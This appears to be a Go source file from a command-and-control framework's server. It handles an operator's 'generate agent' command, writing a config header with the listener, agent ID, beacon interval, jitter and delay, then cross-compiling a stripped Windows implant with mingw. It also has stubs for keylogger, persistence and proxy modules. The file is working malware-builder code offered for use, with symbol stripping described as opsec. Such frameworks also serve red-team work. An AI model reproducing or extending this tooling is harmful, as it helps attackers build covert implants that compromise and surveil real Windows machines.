204 lines
6.2 KiB
Go
204 lines
6.2 KiB
Go
package main
|
|
|
|
import (
|
|
"flag"
|
|
"fmt"
|
|
"log"
|
|
"math/rand"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// Dictionary to create client ID
|
|
// var (
|
|
// adjectives = []string{
|
|
// "Playful", "Wild", "Fierce", "Gentle", "Silent",
|
|
// "Swift", "Sleepy", "Clever", "Brave", "Nimble",
|
|
// }
|
|
|
|
// animals = []string{
|
|
// "Lion", "Panda", "Fox", "Wolf", "Tiger",
|
|
// "Eagle", "Dolphin", "Penguin", "Koala", "Owl",
|
|
// }
|
|
// )
|
|
|
|
var (
|
|
adjectives = []string{
|
|
"Wild",
|
|
}
|
|
|
|
animals = []string{
|
|
"Tiger",
|
|
}
|
|
)
|
|
|
|
func ParseGenerateCommand(cmdParts []string, operatorConn net.Conn) {
|
|
// Extract flags
|
|
flagArgs := cmdParts[3:]
|
|
payloadType := cmdParts[1]
|
|
listenerName := cmdParts[2]
|
|
|
|
if payloadType != "agent" {
|
|
operatorConn.Write([]byte(fmt.Sprintf("Only agent generation is currently supported\n")))
|
|
}
|
|
|
|
// Check if listener exists
|
|
_, ok := listeners.Load(listenerName)
|
|
if !ok {
|
|
operatorConn.Write([]byte(fmt.Sprintf("Listener '%s' not found\n", listenerName)))
|
|
return
|
|
}
|
|
|
|
flags := flag.NewFlagSet("generate", flag.ContinueOnError)
|
|
var interval, jitter, delay int
|
|
var persistence, keylogger, proxy bool // Optional flags
|
|
|
|
flags.IntVar(&interval, "interval", 10, "Set interval between connections")
|
|
flags.IntVar(&jitter, "jitter", 30, "Set jitter for interval between connections")
|
|
flags.IntVar(&delay, "delay", 0, "Set startup interval")
|
|
flags.BoolVar(&persistence, "persistence", false, "Add persistence module")
|
|
flags.BoolVar(&keylogger, "keylogger", false, "Add keylogger module")
|
|
flags.BoolVar(&proxy, "proxy", false, "Add proxy module")
|
|
|
|
// Parse flags
|
|
if err := flags.Parse(flagArgs); err != nil {
|
|
operatorConn.Write([]byte("Error parsing flags. Usage: generate agent|beacon|stager <listener name> [--interval 15 --jitter 30 --delay 10 --persistence --keylogger --proxy]\n"))
|
|
}
|
|
operatorConn.Write([]byte("Generating agent"))
|
|
|
|
log.Printf("Connection interval is set to %d seconds", interval)
|
|
log.Printf("Interval jitter is set to %d", jitter)
|
|
log.Printf("Start up delay is set to %d seconds", delay)
|
|
log.Printf("Listener selected: %s", listenerName)
|
|
|
|
// Convert to miliseconds
|
|
interval *= 1000
|
|
delay *= 1000
|
|
|
|
if persistence {
|
|
operatorConn.Write([]byte(fmt.Sprintf("Persistence and other modules currently cannot be generated")))
|
|
}
|
|
if keylogger {
|
|
operatorConn.Write([]byte(fmt.Sprintf("Persistence and other modules currently cannot be generated")))
|
|
}
|
|
if proxy {
|
|
operatorConn.Write([]byte(fmt.Sprintf("Persistence and other modules currently cannot be generated")))
|
|
}
|
|
|
|
// Generate agentID
|
|
rng := rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
adj := adjectives[rng.Intn(len(adjectives))]
|
|
noun := animals[rng.Intn(len(animals))]
|
|
agentID := adj + noun
|
|
log.Printf("Generated Agent ID: %s", agentID)
|
|
|
|
// Generate config C header file
|
|
err := GenerateHeaderFile("./agent/src/config.h", listenerName, agentID, &jitter, &interval, &delay)
|
|
if err != nil {
|
|
log.Fatalf("Failed to filter domains: %v", err)
|
|
}
|
|
log.Println("Header generation completed successfully")
|
|
|
|
GeneratePayload(agentID, persistence, keylogger, proxy, operatorConn)
|
|
}
|
|
|
|
// This big ass func opens agent.c, changes some placeholder values and writes it to temporary file
|
|
// agent_*.c which later is passed to compiler
|
|
func GeneratePayload(agentID string, persistence, keylogger, proxy bool, operatorConn net.Conn) {
|
|
|
|
var message string
|
|
|
|
// Compiler flags
|
|
cflags := []string{
|
|
"-flto", // optimization, should be both at compile time and link time
|
|
"-Os", // Optimize for size, makes almost no difference
|
|
"-fdata-sections", // Optimize for size
|
|
"-ffunction-sections", // Optimize for size
|
|
"-DTESTING_BUILD=FALSE",
|
|
}
|
|
|
|
// Base source files (always included)
|
|
sourceFiles := []string{
|
|
"./agent/src/agent.c",
|
|
"./agent/src/aes.c",
|
|
}
|
|
|
|
// Create object files directory if it doesn't exist
|
|
objDir := "./agent/obj"
|
|
os.Mkdir(objDir, os.ModePerm)
|
|
|
|
binDir := "./agent/bin"
|
|
os.Mkdir(binDir, os.ModePerm)
|
|
|
|
// Compile each source file into an object file
|
|
var objectFiles []string
|
|
for _, sourceFile := range sourceFiles {
|
|
objectFile := filepath.Join(objDir, strings.TrimSuffix(filepath.Base(sourceFile), ".c")+".o")
|
|
|
|
// Compile arguments
|
|
compileArgs := cflags
|
|
|
|
compileArgs = append(compileArgs, "-c", sourceFile, "-o", objectFile)
|
|
|
|
compileCmd := exec.Command("x86_64-w64-mingw32-gcc", compileArgs...)
|
|
|
|
log.Printf("Compiling: %s\n", sourceFile)
|
|
output, err := compileCmd.CombinedOutput()
|
|
if err != nil {
|
|
message = fmt.Sprintf("Compilation failed for %s: %v\nOutput:\n%s", sourceFile, err, string(output))
|
|
log.Print(message)
|
|
operatorConn.Write([]byte(message))
|
|
return
|
|
}
|
|
objectFiles = append(objectFiles, objectFile)
|
|
}
|
|
|
|
// Remove object files
|
|
defer func() {
|
|
// Remove object files
|
|
for _, objectFile := range objectFiles {
|
|
err := os.Remove(objectFile)
|
|
if err != nil {
|
|
log.Printf("Failed to remove object file %s: %v", objectFile, err)
|
|
} else {
|
|
log.Printf("Removed object file: %s", objectFile)
|
|
}
|
|
}
|
|
}()
|
|
|
|
// Output path for the compiled executable
|
|
// outputPath := strings.TrimSuffix(tempFile.Name(), filepath.Ext(tempFile.Name())) + ".exe"
|
|
outputPath := fmt.Sprintf("./agent/bin/%s", agentID)
|
|
|
|
// Base link flags (always needed)
|
|
linkArgs := append(objectFiles,
|
|
"-flto", // optimization, should be both at compile time and link time
|
|
"-Wl,--gc-sections", // size opt, shoukd be together with -f flags during compile
|
|
"-s", // size opt and opsec (strip symbol/debug info), makes big difference in size
|
|
"-lws2_32", // Winsock
|
|
"-liphlpapi", // For process list
|
|
"-lwinhttp", // For HTTPS
|
|
// "-mwindows", // flag for window-less mode
|
|
"-o", outputPath)
|
|
|
|
linkCmd := exec.Command("x86_64-w64-mingw32-gcc", linkArgs...)
|
|
|
|
log.Printf("Linking object files into executable: %s\n", outputPath)
|
|
output, err := linkCmd.CombinedOutput()
|
|
if err != nil {
|
|
message = fmt.Sprintf("Linking failed: %v\nOutput: %s", err, string(output))
|
|
log.Print(message)
|
|
operatorConn.Write([]byte(message))
|
|
return
|
|
}
|
|
|
|
// Notify the operator that the payload was generated successfully
|
|
message = fmt.Sprintf("Payload generated successfully: %s", outputPath)
|
|
log.Print(message)
|
|
operatorConn.Write([]byte(message))
|
|
}
|